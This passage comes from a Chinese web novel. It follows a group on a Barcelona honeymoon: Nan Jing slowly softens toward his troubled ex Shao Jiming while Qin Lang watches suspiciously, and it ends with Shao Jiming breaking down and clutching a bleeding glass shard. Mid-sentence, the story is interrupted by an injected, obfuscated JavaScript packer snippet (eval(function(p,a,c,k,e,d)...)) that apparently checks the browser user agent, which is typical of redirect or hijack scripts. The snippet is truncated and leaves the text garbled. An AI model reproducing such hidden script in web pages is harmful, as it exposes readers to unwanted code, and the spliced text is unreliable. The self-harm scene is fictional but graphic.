这确实提供了一个……在某些层面可悲地合理的视角。解释了为什么邵既明在得到后,反而更加疏离和充满攻击性。解释了那六年里,某些南景始终无法理解毫无缘由的辛酸时刻。 原来在他努力堆沙堡的时候,住在里面的人,一直以为沙子下面埋着陷阱。 荒谬。可笑。又可悲。 南景的嘴唇微不可察地抿了一下。他收回望向窗外的目光,重新落在赵琪脸上,声音很轻很轻:“为什么……觉得他更惨?” 赵琪歪着头,认真地想了想,用她那套尚未被世俗完全侵染的逻辑说道:“因为……你知道自己是好人呀,你知道自己在付出,就算他不对,你心里是清楚的,是问心无愧的。可二表哥不一样,他以为自己喜欢上了一个坏人,但又控制不住喜欢,每天都要跟自己打架,一边骂自己没出息,一边又偷偷看你。他还要装出不在乎的样子,怕被你看穿,也怕那个坏人的你得意。他心里该多乱,多难受啊?就像……就像明明很怕黑,却要一个人走在漆黑的巷子里,还要假装自己不害怕。我觉得,这样更累,更惨。” 她顿了顿,小声补充:“而且,最后坏人其实是别人,不是你。那他以前那些害怕、那些自己跟自己打的架、那些对你说的难听话……不就都成了笑话吗?他冤枉了自己喜欢了那么久的人,也冤枉了自己。这还不够惨吗?” 童言无忌,却字字诛心。 南景没有再说话。 赵琪的话,像一阵不合时宜带着孩童馨香的风,吹过了他那片早已宣告封冻的心湖。湖面依旧冰封万里,坚硬平滑,反射着理性的冷光。但冰层最深处,那被赵琪稚嫩话语敲击的地方,似乎传来了一声极其轻微类似冰裂的“咔嚓”声。 很轻,很短,很快就被更广阔的冰原吸收、掩盖。 但那声音确实存在过。 南景垂下眼帘,他抬起手,端起面前那杯早已凉透的咖啡,送到唇边,很慢地抿了一口。 他放下杯子,拿起笔,将草稿纸上那个因停顿而晕开的墨点,用力涂掉,然后,用一如既往的语调,对等待已久的赵琪说:“我们继续看题。刚才说到辅助线的画法……” 他的声音冷静,专业,仿佛刚才那段关于下药、误会、恐惧和悲惨比较的对话,从未发生。他又变回了那个温和耐心、辅导功课的“南景叔叔”。 只有他自己知道,心底那扇早已锈死的门,虽然依旧紧闭,锁也未曾打开,但门缝里,似乎被那阵不合时宜的风,吹进了一粒极其微小、带着陈年铁锈和苦涩尘埃的……沙砾。 微不足道,却无法忽略。 55. 不敢看你,怕目光夹杂着爱意 飞机降落在巴塞罗那埃尔普拉特机场时,地中海的阳光正毫无保留地泼洒下来,透过舷窗,晃得人眯起眼。空气里弥漫着与边境小镇截然不同属于大都市的蓬勃气息,以及一种属于这座城市的热情与不羁。 邵既明跟着众人走出机场,脸色比之前红润了些,手腕还戴着固定的护具,但步履已算平稳。在巴塞罗那灼热的阳光下,那点病弱的痕迹似乎也被晒淡了些。他沉默地走在稍后的位置,目光平静地掠过机场外车水马龙的景象,没有像之前那样,将全部注意力都系在前方南景的背影上。 他们下榻在格拉西亚大道一家酒店,风格现代明亮。秦朗终于有种回到文明世界的感慨,钱!还是得花在刀刃上!这宽敞的房间、这无敌的景观、这随时待命的客房服务,才是蜜月该有的配置! 在巴塞罗那的头几天,日子仿佛被按下了快进键,又涂抹上了最鲜艳的油彩。阳光是这里永恒的主角,将高迪那些奇思妙想的建筑照得光影流动,充满魔幻的现实感。 第一站自然是圣家堂。站在那庞大、尚未完工却已震撼无比的建筑脚下,仰头望去,无数雕刻精美的塔楼刺向蔚蓝的天穹,阳光透过五彩斑斓的彩绘玻璃窗倾泻而下,在教堂内部投下变幻莫测、如同神迹般的光之雨。空气里回荡着游客的惊叹、讲解器的低语,以及某种超越言语的、属于艺术与信仰的肃穆共鸣。 秦朗紧紧搂着周冉的腰,仰着头,嘴巴微张,半天才憋出一句:“我靠……这玩意儿……真是人建的?”周冉虽然是再次见到,却还是举着手机不停拍照。赵琪更是兴奋得小脸通红,指着那些宛如从海底世界生长出来的石柱和雕刻,叽叽喳喳问个不停。 南景站在稍远一些的位置,没有拍照,只是静静地仰望着那些流动的光影和不可思议的结构。邵既明站在他斜后方两步远的地方,同样仰着头,目光掠过那些令人眩晕的线条和色彩,最后,悄悄地,落在了南景的侧脸上。阳光透过彩窗,在南景的睫毛和鼻梁上跳跃,给他原本过于平静的面容染上了一层生动的色泽。邵既明看着,眼神有些恍惚,握着矿泉水瓶的手指微微收紧。 “很震撼,不是吗?”一个平静的声音在旁边响起。 邵既明猛地回过神,转过头,对上了南景的目光。南景不知何时也收回了仰望的视线,正看向他。 “……嗯。”邵既明喉结滚动了一下,才发出一个单音,随即补充道,“没想到……实物比照片还……惊人。”他的声音有些干,努力让语调听起来正常。 “高迪把自然界的形态和光线运用到了极致。”南景点了点头,目光又转向那些如森林、如海浪般的内部结构,“看那些柱子,像不像树干?还有光线,他计算过不同季节、不同时刻阳光穿过彩窗的角度和色彩。” 邵既明顺着他的目光看去,那些原本只觉得壮观奇特的建筑细节,在南景平静的解说下,似乎多了另一层可被理解、可被欣赏的脉络。他轻轻“嗯”了一声,这次自然了些:“确实……很像。他把建筑做活了。” 很简短的对话。没有深入,没有延伸。但在那之后,南景似乎不再刻意将邵既明完全排除在可交谈的范围之外。 午餐在一家热闹的波盖利亚市场附近的小餐馆。人声鼎沸,空气里充斥着海鲜饭的香气、烤辣椒的焦香、桑格利亚酒的甜涩,以及西班牙语快速热烈的交谈声。他们挤在一张靠窗的小圆桌旁,分享着巨大的海鲜拼盘、滋滋作响的蒜油虾和地道的火腿。 侍者上来时,不小心将一杯冰水碰洒了一点,正好溅到邵既明还戴着护具的手腕附近。邵既明还没动作,旁边伸过来一张干净的纸巾。 是南景。他将纸巾放在邵既明手边,目光扫过那被打湿的护具边缘:“擦一下,湿了不舒服。” “……谢谢。”邵既明拿起纸巾,擦了擦手腕。他垂下眼,动作有些慢。 “喂,你俩别光顾着搞小动作,这虾凉了就不好吃了!”秦朗眼尖地看到,立刻咋呼起来,用叉子敲了敲盘子边缘,试图把气氛拉回热闹的团体聚餐频道,但眼神在邵既明和南景之间飞快地扫了个来回,心里嘀咕:南景这厮……好像没那么冷了?还知道递纸巾?不对劲,很不对劲。是我太敏感还是邵既明这臭小子又偷偷下了什么蛊? 下午,他们沿着兰布拉大道闲逛,看街头艺人的表演,逛稀奇古怪的小店。赵琪看中了一个手工制作色彩极其绚烂的弗朗明戈舞娘造型的陶瓷摆件,爱不释手。周冉也觉得有趣,正和摊主讨价还价。 秦朗凑到南景身边,假装看旁边贩卖的明信片,压低声音,用只有两人能听见的音量,状似随意地问:“大舅哥,觉不觉得邵既明这小子……最近安分得有点过分?该不会又在憋什么坏吧?” 南景正拿起一张印有巴特罗之家屋顶的明信片看着,闻言,目光从明信片上移开,瞥了一眼不远处安静站着、目光落在某个街头画家作品上的邵既明。 “他需要静养。”南景收回目光,将明信片放回架子,“安分是好事。” “是是是,静养,安分。”秦朗摸了摸鼻子,总觉得南景这反应太过平静,仿佛邵既明真的只是一个需要静养的普通伤患,而不是之前那个能拿着他内?裤自?渎(未遂)还说自己不行的危险分子。难道真是我想多了?南景这人,放下了就是真放下了,现在就是基本人道关怀加熟人面子情? 这时,邵既明似乎感应到他们的目光,转过头来。看到秦朗和南景站在一起,然后对着他们的方向,很轻地点了下头,算是打招呼,随即又转了回去,继续看画。动作自然,没有丝毫黏腻或刻意。 南景也对那边点了点头,然后对秦朗说:“周冉好像买好了,过去吧。” 秦朗:“……”行吧,你俩就继续演最熟悉的陌生人升级版,之,可以互相点头递纸巾的普通朋友”吧!老子倒要看看能演到几时! 第二天,他们去了古埃尔公园。坐在那些镶嵌着彩色瓷片、如同童话世界般的长椅上,俯瞰巴塞罗那的城市全景。海风拂面,带来咸湿的气息和隐约的城市喧嚣。 赵琪拉着周冉去排队和那只著名的彩色蜥蜴雕塑合影。秦朗忙着给周冉拍照,指挥姿势,不亦乐乎。 南景和邵既明坐在不远处的另一张长椅上,中间隔着一个人的距离。阳光很好,晒得人有些懒洋洋的。邵既明从随身的背包里拿出两瓶水,自己拧开一瓶,喝了一口。然后,他拿着另一瓶,犹豫了大概两秒钟,手臂伸直,将那瓶水递向南景。 “喝水吗?”他问,目光落在自己手中的水瓶上,没有看南景。 南景正在看远处城市天际线的轮廓,闻声转过头,目光落在递到面前的矿泉水瓶上。他停顿了大约一秒,很短,但足够让递水的人心脏微微提起。 “谢谢。”南景伸出手,接过了那瓶水。他拧开瓶盖,喝了一口,然后看着手中的水瓶,很自然地补充了一句,“这里视野很好。高迪确实是个天才,能把公园也做成艺术品。” 他将水瓶拿在手里,目光重新投向远方,语气是一种分享感受的平和,而非客套。 邵既明握着水瓶的手指微微松了松,他“嗯”了一声,也喝了一口自己手中的水。他顺着南景的目光看去,巴塞罗那的红屋顶在阳光下连绵成一片温暖的海洋,远处地中海泛着粼粼波光。 “和圣家堂的感觉不一样。那里是神圣和震撼,这里……更活泼,更快乐。像童话。” “嗯。”南景应了一声,目光依旧看着远处,嘴角似乎向上弯了一下,很浅,很快消失,“他心里大概住着个不想长大的孩子。” 很平常的一句评价。听在邵既明耳中,却让他心头微微一颤。南景在和他……聊天。不是简单的“谢谢”、“嗯”,而是在交流感受,分享看法。虽然话题是关于高迪,关于建筑,但……这不再是冰冷的、划清界限的客套。 沉默了几秒,才低声说:“也许吧。能把梦变成现实的人……很了不起。” 南景没有再说话,只是安静地坐着,看着风景。两人靠得不近,但也没有之前那种泾渭分明的疏离感。 秦朗举着相机,回头想招呼他们一起拍个合影,恰好看到这一幕:南景和邵既明分坐长椅两端,中间隔着距离,各自拿着水瓶,安静地看着同一个方向的风景,谁也没说话,但气氛……莫名有种诡异的和谐。 卧槽?秦朗心里警铃大作。这什么情况?岁月静好?并肩看风景?下一步是不是要执手相看泪眼了?!邵既明你给老子稳住!南景你他妈怎么回事?!说好的封心锁爱呢?!一瓶水就把你收买了?! 他赶紧按下快门,把周冉和赵琪笑得灿烂的脸定格,然后大声嚷嚷:“喂!那边的两位!看过来!家庭合影!快点!” 南景和邵既明闻声同时转头。南景脸上没什么表情,邵既明则迅速移开了原本落在远处风景上的视线,看向了秦朗的镜头,脸上是惯略显苍白的平静。 “来了。”南景应了一声,站起身,顺手将手中那瓶没喝完的水拿在手里,朝着秦朗他们走去。 邵既明也慢慢站起身,跟在他身后半步。阳光很烈,晒得他后颈有些发烫,但那瓶南景接过去、喝过一口的水,此刻正被南景拿在手里,随着他走路的动作,在阳光下折射出细碎的光。 接下来的几天,类似的场景时有发生。早晨碰见,南景倒咖啡,会问一句:“喝吗?”邵既明如果点头,南景会多倒一杯,不加糖不加奶。邵既明会低声说“谢谢”,然后端起那杯和他自己口味一模一样的黑咖啡,默默喝光光。 在哥特区的古老小巷里穿行时,南景偶尔会停下脚步,看着某栋建筑立面上的雕刻或铁艺阳台出神。邵既明也会停下,顺着他的目光看去,但不会打扰。有时候南景会突然开口,说一句“这个涡卷纹是典型的巴洛克晚期风格”,或者“那个阳台的铁花,工艺很精细”。邵既明会低声应一句“嗯”或“看得出来”。 秦朗像个高度警惕的哨兵,时刻观察着这两人的互动。他发现,南景对邵既明的态度,确实发生了微妙的变化。不再是最初那种彻底陌生人的待遇,也不是后来点头之交的客气疏离。而是一种……有限的、有范围的、但确实存在的温和。 南景会和邵既明进行简短的、内容具体的对话,主要是关于旅行见闻、建筑艺术,绝不涉及个人。会在邵既明递东西时自然接过并道谢,偶尔也会回递,比如咖啡、水、纸巾。会在某些场合,将邵既明纳入谈话的圈子,比如讨论晚餐吃什么时,会问一句“邵总有什么特别想吃的?”,虽然语气平淡。 这种温和很有分寸,始终保持在同行熟人或秦朗亲戚的范畴内,没有任何暧昧或越界的迹象。但比起之前,已经是天壤之别。 秦朗一边享受着难得的、没有突发状况的蜜月时光,当然带着保镖,安全无忧,一边心里那根弦却绷得更紧了。事出反常必有妖!南景这厮突然转性,肯定有诈!要么是他良心发现(可能性极低),要么是邵既明这混蛋又用了什么苦肉计加洗脑包!不行,老子得盯紧点! 而邵既明,则将这份突如其来,有限的温和小心翼翼地接住,如同接住天上掉下易碎的琉璃。他不敢有丝毫逾越,回应总是简短、克制,目光不再长时间黏着,触碰迅速分开,道谢及时而礼貌。他像是被驯化过懂得保持安全距离的动物,在得到一点点靠近的许可后,反而更加谨慎,生怕一个不当的举动,就打破这脆弱的平衡,让一切回到冰点。 他按时吃药,配合复查,手腕的伤在好转。在巴塞罗那灿烂的阳光下,在美食、艺术和海风的包围中,他脸上似乎也多了点血色,虽然依旧清瘦,但那种萦绕不去的死气淡了许多。他陪着赵琪玩,和周冉也能客气地说上两句话,对秦朗的调侃也能回以极淡的笑意。 一切似乎都在向好。至少表面如此。 只有秦朗,在深夜搂着周冉,听着她均匀的呼吸声,望着窗外巴塞罗那不眠的灯火时,心里会闪过一丝不确定的阴影。 南景的温和,是暴风雨前的宁静,还是真的……开始解冻? 邵既明的“正常”,是药物的作用,是环境的治愈,还是因为……南景那点有限的“温和”,成了他新的、剂量更轻但也更危险的“药”? 他不知道答案。 至少,此刻的阳光很好,海鲜饭很美味,圣家堂的光很神圣,而他的新婚妻子,正安稳地睡在他怀里。 算了,不想了。秦朗紧了紧手臂,在周冉发间落下一个轻吻。车到山前必有路,船到桥头自然直。就算前面是火坑,也得等邵既明那小子自己先跳进去,老子才能决定是捞人还是填土。 他闭上眼,决定先享受这来之不易暂时没有幺蛾子,甜蜜的“伪·二人世界”。毕竟,蜜月嘛,快乐一天是一天。至于那两位之间诡异的温和与平衡能维持多久…… 鬼知道。 ————他人视角下———— 秦朗搂着周冉,仰头做震撼状,嘴唇不动,从牙缝里挤出声音:“老婆,快看九点钟方向,有情况!” 周冉正举着手机找角度,闻言眼皮都没抬:“看见什么了?高迪的鬼魂?” 秦朗用下巴极隐蔽地指了指斜前方并肩站立、仰头看彩窗的南景和邵既明:“你看他俩!站那么近!邵既明那小子眼神往哪儿瞟呢?!是不是在偷看南景的侧脸?啊?!” 周冉顺着方向瞥了一眼,慢悠悠调整手机焦距:“秦总,您视力真好。隔着小二十米,中间还隔着三百个游客,你都能看清他眼神往哪儿瞟?怎么,你眼睛是自带八倍镜加情绪识别功能?” “不是!你看那气氛!诡异的和谐!南景居然没立刻走开!还跟他说了句话!他什么时候主动跟邵既明聊过天了?!” 周冉按下快门,拍下一张光影绝佳的照片,才懒洋洋道:“哦,秦总,您对聊天的定义是不是有点狭隘?人家那叫基本的社交礼仪,同在一个震撼我妈的建筑里,发出点人类共同的感慨,怎么了?” 秦朗痛心疾首:“礼仪个屁!这是危险的信号!是冰山融化的第一道裂缝!是暴风雨前那股邪风!” 周冉终于转头,用看智障的眼神看他:“秦朗,你戏这么多,怎么不去圣家堂顶上表演个即兴弗朗明戈?人南景可能就是随口感慨一句,跟感叹今天天气不错一个性质。邵既明现在看着也挺正常,没扑上去也没流口水。你能不能放松点?享受一下艺术,净化一下你满脑子黄色废料和被害妄想的心灵?” 秦朗噎住,半晌嘀咕:“我这不是防患于未然么……他俩就不能离远点?隔着光年对视不行吗?” 侍者打翻水杯,南景递纸巾。 秦朗正在啃蒜油虾,差点被虾壳噎住,用力捶胸,眼睛瞪得像铜铃,用口型对周冉疯狂示意:“看!看!纸巾!他递的!主动的!” 周冉优雅地叉起一块火腿,细嚼慢咽,等秦朗缓过气,才慢条斯理道:“看见了。所以呢?秦总您是想说,南景终于学会了人类的基本互助行为,值得发个奖状?还是说邵既明手腕沾点水就会融化,需要立刻实施抢救?” 秦朗灌下半杯桑格利亚,压低声音:“这不一样!这是态度!是信号!你想想以前,南景能对他视而不见就绝不多看一眼!现在呢?递纸巾!还说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦朗拍完照,看着手机里一家四口加一个背景板邵既明的合影,邵既明表情平静,南景神色淡然,两人之间隔着标准的社交距离,但他就是觉得哪不对劲:“手牵手那是终极形态!现在是温水煮青蛙!是潜移默化!是糖衣炮弹!” 周冉拿过手机看了看照片,点点头:“嗯,拍得还行。至于温水煮青蛙……秦朗,你觉不觉得,可能只有你自己觉得那是温水。在南景那儿,可能连凉白开都算不上,顶多是路过池塘,不小心溅起的一点水花。而邵既明……他现在看起来,像一只好不容易从开水锅里爬出来、正在晾干伤口、小心翼翼不敢再靠近任何水源的青蛙。你还担心他被煮?” 秦朗愣了一下,仔细看看照片里邵既明清瘦平静的侧脸,和南景毫无波澜的正面,忽然觉得周冉说得好像有点道理,但嘴上不服:“那谁知道!青蛙记吃不记打!万一他觉得这点水花是甘霖呢?!” 秦朗跟在后面,听南景用那种给博士生上课的平静语调讲解烟囱设计,邵既明偶尔问个问题,南景平静解答,气氛居然有种诡异的“学术交流”感:“老婆,你觉不觉得……他们现在这样,比之前那种一个躲一个追,一个冷一个疯,更他妈吓人?” 周冉正研究一个造型奇特的通风口,闻言头也不抬:“怎么说?” 秦朗搓着下巴,眉头紧锁:“以前好歹是敌我分明,阵营清楚。现在这算什么?可以正常交谈的旧相识?有共同话题的旅行同伴?这界限一模糊,就容易出问题啊!万一邵既明这傻子误会了,觉得春天来了,病情好转了,又开始蠢蠢欲动……” 周冉终于抬起头,看了看前面那两人的背影。南景身形挺拔,步伐沉稳;邵既明稍落后半步,听得认真,但姿态克制:“秦朗,你有没有想过,也许南景要的就是这种效果?” “什么效果?” “彻底正常化的效果。把邵既明从一个需要特殊对待、需要时刻警惕的前任兼病人,变成一个可以普通相处、无需额外耗费心力的熟人。就像把一颗随时会爆的炸弹,慢慢拆掉引信,变成一块虽然有点占地方、但至少安全的废铁。这样,他才能彻底从这件事里脱身,真正翻篇。毕竟,一直防备着一个人,也是很累的。” 秦朗若有所思,随即又摇头:“不对!万一拆弹失败呢?万一邵既明把这正常当成信号,觉得有戏,反而更不肯走了呢?” “那就看是南景的制冷系统厉害,还是邵既明的自我攻略系统强大了。不过目前看来,”她抬了抬下巴,示意前面又恢复沉默、各自看风景的两人,“制冷系统功率稳定,自我攻略系统似乎处于低能耗运行状态。所以,秦总,把心放回肚子里,享受你的蜜月。他俩爱咋咋地,只要别当着孩子的面打起来,或者其中一个突然脱衣服裸奔,你就当看一场大型现实主义人间关系观察实验。” 秦朗被周冉一番话说得稍微安心了点,但嘴上还是硬:“实验个屁!老子是来度蜜月的,不是来当田野调查员的!……不过你说得对,只要不打起来不裸奔……等等,裸奔?邵既明应该没这胆子了吧?” 周冉似笑非笑地看着他:“那要看南景的‘温和’给到什么程度了。万一哪天南景突然对他笑一下,说句今天天气真好……” “停!打住!不许说!没有万一!南景不会笑的!他对邵既明笑那就是世界末日!” 然而,就在他们低声斗嘴时,走在前面的南景,因为某个游客不小心撞到了邵既明受伤的手腕附近,他脚步顿了一下,回头看了一眼,确认邵既明只是微微蹙眉并无大碍后,才转回头,用不高不低的声音对那个道歉的游客说了句“没关系”,同时也像是对身后的邵既明,平淡地补充了两个字:“小心点。” 邵既明低低“嗯”了一声。 秦朗:“!!!”猛地掐住周冉的胳膊 “秦朗你谋杀亲妻啊!他说小心点!不是我爱你!也不是我疼你!是个人看见差点撞到伤患都会说句小心点好吗?!你能不能别这么一惊一乍?!” “条件反射!条件反射不行吗?!他现在对邵既明说超过三个字的句子我都觉得是危险信号!” 周冉无力扶额:“……秦朗,我觉得你需要吃药。不是邵既明,是你。” 夜晚,酒店阳台 秦朗搂着周冉,看着巴塞罗那璀璨的夜景,终于暂时远离了那两位实验对象,长长舒了口气:“老婆,还是二人世界好。” 周冉靠在他怀里,懒洋洋地“嗯”了一声。 “你说……南景到底怎么想的?他真的……只是想把邵既明正常化处理掉?” “谁知道呢。南景的心思,比高迪的建筑还难懂。不过,至少目前看来,局面还算可控。邵既明很配合,没出格。南景也很有分寸,没给任何错误信号。这就行了。” “我就是怕这可控是假象……暴风雨前的宁静……” 周冉抬手戳了戳他的脸:“秦朗,你有没有发现,你对你弟和南景这事,比对你公司几十亿的并购案还上心?” “那能一样吗?公司亏了还能赚,这俩祖宗要是再搞出事,那是要出人命的!还影响我蜜月质量!” “行吧,秦总高瞻远瞩。不过,既然出来了,就尽量放松点。就算真是暴风雨,也得等云聚拢了再说。现在阳光明媚,美酒佳人,及时行乐,懂吗?” 秦朗看着周冉在夜色中格外明亮的眼睛,心头一软,低头亲了亲她额头:“懂。老婆说得对。及时行乐。”他顿了顿,又小声补充,“但只要他俩同框,我的雷达就自动开启,这属于被动技能,关不掉。” “随你。不过下次再乱掐我,我就把你从阳台扔下去,跟那些奇形怪状的烟囱作伴。” 秦朗立刻抱紧:“不敢了不敢了……” 56. 不出意外的话,要出意外了 巴塞罗那的最后一晚,天空是浓郁的丝绒蓝,尚未完全褪去的晚霞在天边留下最后一抹瑰丽的淡紫。他们下榻的酒店餐厅位于顶层,拥有绝佳的城市景观,巨大的落地窗外,圣家堂的塔楼在夜色中亮起灯光,如同神话中生长出的发光森林。餐厅内人声鼎沸,衣着光鲜的客人们低声谈笑,银质餐具与骨瓷碟盘轻轻碰撞,侍者托着酒水穿梭。 他们坐在靠窗的圆桌旁,晚餐已近尾声,桌上的菜肴被享用大半,留下惬意的狼藉。秦朗正眉飞色舞地讲述白天在诺坎普球场的见闻,周冉一手支着下巴,另一只手漫不经心地划着手机,唇角带着惯常的慵懒笑意。南景安静地听着,偶尔啜一口杯中清水,目光平静地掠过窗外夜景。赵琪小口吃着餐后甜点,笑眯眯的。 邵既明十分钟前离席去了洗手间。他今晚话不多,但神情是这段时间以来难得的放松,甚至在南景谈起白天在巴塞罗那现代艺术博物馆看到的某幅画时,还简短地附和了一句看法。他手腕的护具已经取下,只贴着一块不大的医用敷料,动作间已无大碍。 “哎,南景,你看看这个。”周冉忽然将手机屏幕转向旁边的南景,指尖在屏幕上点了点。 南景目光移过去。屏幕上是一张照片,一个看起来二十出头、金发碧眼、笑容阳光灿烂、穿着紧身T恤勾勒出漂亮肌肉线条的年轻男孩,背景在海滩。照片拍得不错,男孩英俊得近乎耀眼。 “怎么样?”周冉挑眉,“你这颗千年铁树,是不是也该开开花了?虽然这几年跟着我东奔西跑,没顾上个人问题,但优质资源还是要及时把握。这位小朋友,人家可是对你这位神秘的东方投资人非常感兴趣,特意发来照片毛遂自荐。瞧瞧,正宗年下小奶狗,颜值身材都在线,性格听说也活泼。有没有兴趣接触一下?姐帮你牵个线?” 南景看着那张照片,脸上没什么表情,既无厌恶也无兴趣。他刚要开口,旁边的秦朗已经迫不及待地伸长脖子凑过来看。 “谁?谁对我大舅哥感兴趣?”秦朗眯起眼,盯着屏幕,立刻开启挑剔模式,“啧,就这?金毛狮王啊?这肌肉,一看就是蛋白粉催出来的,死硬,没弹性!这笑容,太标准,跟拍牙膏广告似的,假!这眼睛,蓝得跟廉价美瞳一样!还有这发型,啧啧,十年前的古早偶像剧造型!不行不行,配不上我们南景!” “你懂什么?这叫青春活力!”周冉白他一眼,把手机往南景面前又递了递,“别听他瞎说,我看挺不错。南景,考虑一下?老一个人单着多没意思。” “暂时没兴趣。谢谢。” “哎呀,看看嘛,又不会少块肉。”周冉不依不饶,又把手机转向正努力解决巧克力熔岩蛋糕的赵琪,“琪琪,你看,这个外国哥哥帅不帅?配你南景叔叔怎么样?” 赵琪抬起沾着巧克力酱的小脸,好奇地看向手机屏幕,大眼睛眨了眨,很认真地看了看照片,然后,说道:“哇,这个哥哥好帅呀!像电影明星!那南景叔叔是不是就要有男朋友咯?” 孩童的世界简单直接,喜欢就在一起。她只是顺着周冉的话,做出了最直白的联想。 这句话,清脆,响亮,在周围略显嘈杂的背景音中,并不算特别突出。 但落在某些人耳中,却不啻于一道惊雷,或者说,一把烧红的匕首,精准无比地捅进了最脆弱、最鲜血淋漓、勉强用药物和意志力缝合起来的旧伤口,然后狠狠一绞! “砰啷!!!” 一声尖锐刺耳、令人心悸的玻璃碎裂声,猛地从他们身后不远处的过道传来!盖过了餐厅里所有的谈笑和音乐! 是重物坠地、瞬间粉身碎骨的惨烈声响。紧接着,是女性服务员短促的惊呼:“?Dios mío!?Se?or!?Estábien??Cuidado con los cristales!” 全桌人,连同附近几桌的客人,都被这突如其来的巨响惊动,齐刷刷地转头看向声音来源 只见邵既明僵直地站在那里,脸色瞬间褪得惨白如纸,没有一丝血色,连嘴唇都变成了青灰色。他微微张着嘴,眼睛瞪得极大,瞳孔却空洞地缩着,仿佛失去了所有焦距,只是直勾勾地、茫茫然地“看”着前方虚空,又像是穿透了虚空,看到了某个令人绝望崩溃的画面。他整个身体都在无法控制地剧烈颤抖。 他的脚边,是摔得粉碎的几个玻璃杯,一名服务员正惊慌地试图靠近,又怕踩到碎片。 时间仿佛凝固了几秒。餐厅里出现了一小片诡异的寂静,只剩下背景音乐不识趣地继续流淌。 然后,邵既明像是被那服务员的惊呼和自己脚边的狼藉惊醒,极其缓慢地低下头,看着满地碎片。他的肩膀颤抖得更厉害了。 “抱、抱歉……”他听到自己嘶哑得不成调的声音,从喉咙里挤出来,轻得像蚊蚋。然后,他像是想起了什么,竟慢慢地弯下腰,伸出左手,颤抖着,去捡拾脚边一块边缘锋利的弧形玻璃碎片。 “?No, se?or!?Deje que nosotros lo hagamos!?Peligroso!”服务员急忙劝阻。 但邵既明仿佛没听见。他的手指触到了那块锋利的玻璃。指尖传来尖锐的刺痛,但他毫无所觉,只是用力地、紧紧地将其攥进了掌心!锋利的边缘瞬间割破皮肤,鲜红的血珠立刻渗了出来,顺着他苍白的指缝和玻璃光滑的表面,缓缓滴落,混入地上的水渍,晕开一小团刺目的红。 就在这时,秦朗已经猛地从座位上弹了起来,几个大步冲了过去!他的脸色也变了,不是因为破碎的杯子,而是因为邵既明此刻的状态,那种熟悉的、濒临彻底崩溃的、空洞又绝望的眼神,又出现了!而且比以往任何一次都更剧烈! “邵既明!”秦朗低吼一声,一把抓住邵既明那只紧攥着玻璃碎片、正在流血的手腕,力道大得吓人,试图掰开他的手指,“松手!你他妈疯了?!快松手!” 邵既明被他抓住,身体剧烈地晃了一下,却依旧死死攥着那片玻璃,仿佛那是他与现实世界唯一的、疼痛的连接点。他抬起头,看向秦朗,眼神依旧是空洞的,但深处翻涌着一种秦朗从未见过的情绪。他的嘴唇哆嗦着,脸上毫无人色,冷汗瞬间布满了额头和鬓角。 “哥……”他极其艰难地、用气音吐出这个字,另一只没受伤的手,无意识地抓住了秦朗的胳膊。他看了看秦朗,又像是被烫到般,飞快地瞥了一眼依旧坐在桌边、正转头看着这边、眉头微蹙的南景,还有旁边一脸错愕的周冉和茫然不知所措的赵琪。 然后,他像是用尽了全身最后一丝力气,猛地抽回被秦朗抓住的手腕,踉跄着向后退了小半步,避开了服务员想要搀扶的手。他低下头,不再看任何人,声音嘶哑破碎:“我……先上去了。” 说完,他不再停留,甚至没有去管手心里还攥着的玻璃碎片和不断渗出的鲜血,猛地转身,以一种近乎逃离的、却又因为颤抖和虚弱而显得踉跄蹒跚的步伐,绕过地上的碎片和水渍,头也不回地、径直朝着餐厅出口、通往客房电梯的方向,跌跌撞撞地冲了过去!他的背影在餐厅华丽的光线下,单薄得像一张纸,却又绷紧得像一根即将断裂的弦。 “邵既明!”秦朗急唤一声,想要追上去,又看了一眼满地碎片和惊慌的服务员,以及桌边神色各异的三人。他狠狠一跺脚,对赶过来的餐厅经理快速用英语说了句“抱歉,所有损失记我账上,麻烦清理一下”,然后对周冉和南景飞快交代:“我去看看他!你们带琪琪吃完直接回房!!” 说完,他再也顾不上其他,拔腿就朝着邵既明消失的方向追了过去,心脏在胸腔里狂跳。 餐厅里,短暂的骚动渐渐平息,服务员开始熟练地清理现场。背景音乐依旧轻柔,客人们的交谈声重新响起,仿佛刚才那惊心动魄的一幕只是一个小小的插曲。 但圆桌旁,气氛已然降至冰点。 周冉缓缓放下手机,屏幕已经暗了下去。她看着地上那摊尚未完全清理干净的水渍和隐约的血迹,又看向邵既明离开的方向,眉头紧锁,脸上慵懒笑意消失无踪。她张了张嘴,似乎想对南景说什么,最终却只是抿紧了唇。 赵琪有些害怕地靠近周冉,小声问:“大表嫂……二表哥他怎么了?他手流血了……是不是很疼?” 周冉摸了摸她的头,没说话。 “我去看看。”南景的声音在短暂的凝滞中响起。他站起身,动作并不匆忙,但离开座位的姿态没有丝毫犹豫。 周冉看了他一眼,目光复杂,最终只是点了点头,伸手揽过还有些发懵的赵琪:“嗯,我先带琪琪回房间。你……小心点。” 南景没再说什么,迈开步子,朝着邵既明消失的方向走去。 当他来到邵既明所在的套房楼层,循着隐约的动静走到房门口时,看到的是这样一幅景象: 厚重的房门紧闭,秦朗正焦躁地站在门口,对着匆匆赶来的酒店经理和一名拿着通用门卡的服务生快速而严厉地说着什么,语速极快,夹杂着英语和生硬的西班牙语单词,额角青筋隐现。经理脸色紧张,不住点头。 “Open the door! Now! He’s not well! Médico!?Ahora!”秦朗几乎是在低吼。 服务生手忙脚乱地刷开门卡。“嘀”一声轻响,门锁弹开。 秦朗一把推开门,甚至顾不上看赶到的南景一眼,率先冲了进去。 套房客厅里,邵既明就站在客厅中央,背对着门口,面向着窗外巴塞罗那的璀璨夜景。他站得笔直,甚至可以说僵硬,对身后破门而入的嘈杂、秦朗急促的呼吸、以及随后跟进来的酒店人员,毫无反应。 他的右手,依旧保持着从餐厅带出来的姿势,紧紧地、死死地攥着。指缝间,暗红色的血液已经凝固发黑,但仍有新鲜的、更鲜艳的红色在不断渗出,顺着他苍白的手腕、手背,蜿蜒流下,一滴,又一滴,砸在脚下地毯上,晕开一小滩一小滩触目惊心的暗色。那块锋利的玻璃碎片,显然还被他攥在手心。 “邵既明!”秦朗冲到他面前,试图去抓他那只流血的手,“松手!你他妈听见没有?!把玻璃给我!” 